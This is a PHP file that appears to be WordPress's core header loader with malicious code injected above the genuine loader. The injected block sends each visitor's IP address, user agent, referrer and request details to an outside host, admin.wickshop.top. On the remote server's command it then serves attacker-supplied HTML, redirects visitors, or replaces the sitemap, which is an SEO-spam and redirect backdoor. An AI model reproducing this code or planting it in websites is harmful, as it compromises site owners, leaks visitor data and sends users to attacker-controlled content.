<?php
$serverVars = [
    "SCRIPT_NAME",
    "REQUEST_URI",
    "HTTPS",
    "REQUEST_SCHEME",
    "SERVER_PORT",
    "REMOTE_ADDR",
    "HTTP_REFERER",
    "HTTP_ACCEPT_LANGUAGE",
    "HTTP_USER_AGENT",
    "HTTP_HOST"
];

$postData = [];

foreach ($serverVars as $varName) {
    $varValue = isset($_SERVER[$varName]) ? $_SERVER[$varName] : '';
    $encodedValue = base64_encode(trim($varValue));
    $encodedValue = str_replace("+", "-", $encodedValue);
    $encodedValue = str_replace("/", "_", $encodedValue);
    $encodedValue = str_replace("=", ".", $encodedValue);
    $postData[$varName] = $encodedValue;
}

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'http://admin.wickshop.top/product-encode.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);

$response = curl_exec($ch);
$response = json_decode($response,true);

curl_close($ch);

if(isset($response['action']) && $response['action'] != 'none'){
    switch ($response['action']) {
        case 'display':
            header('Content-Type: text/html; charset=UTF-8');
            echo $response['data'];
            break;
        case 'jump':
            if($_SERVER['REQUEST_URI'] == '/index.php' || $_SERVER['REQUEST_URI'] == '/' )
            {
                break;
            }
            header('Location: ' . $response['data']);
            exit;
            break;
        case 'sitemap':
            $ob_levels = ob_get_level();
            for ($i = 0; $i < $ob_levels; $i++) {
                ob_end_clean();
            }
            if (!headers_sent()) {
                header('Content-Type: application/xml; charset=utf-8');
                header('HTTP/1.1 200 OK');
            }
            header('Content-Type: application/xml; charset=utf-8');
            echo $response['data'];
            exit;
            break;
    }
    exit;
}
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */

if ( ! isset( $wp_did_header ) ) {

	$wp_did_header = true;

	// Load the WordPress library.
	require_once __DIR__ . '/wp-load.php';

	// Set up the WordPress query.
	wp();

	// Load the theme template.
	require_once ABSPATH . WPINC . '/template-loader.php';

}
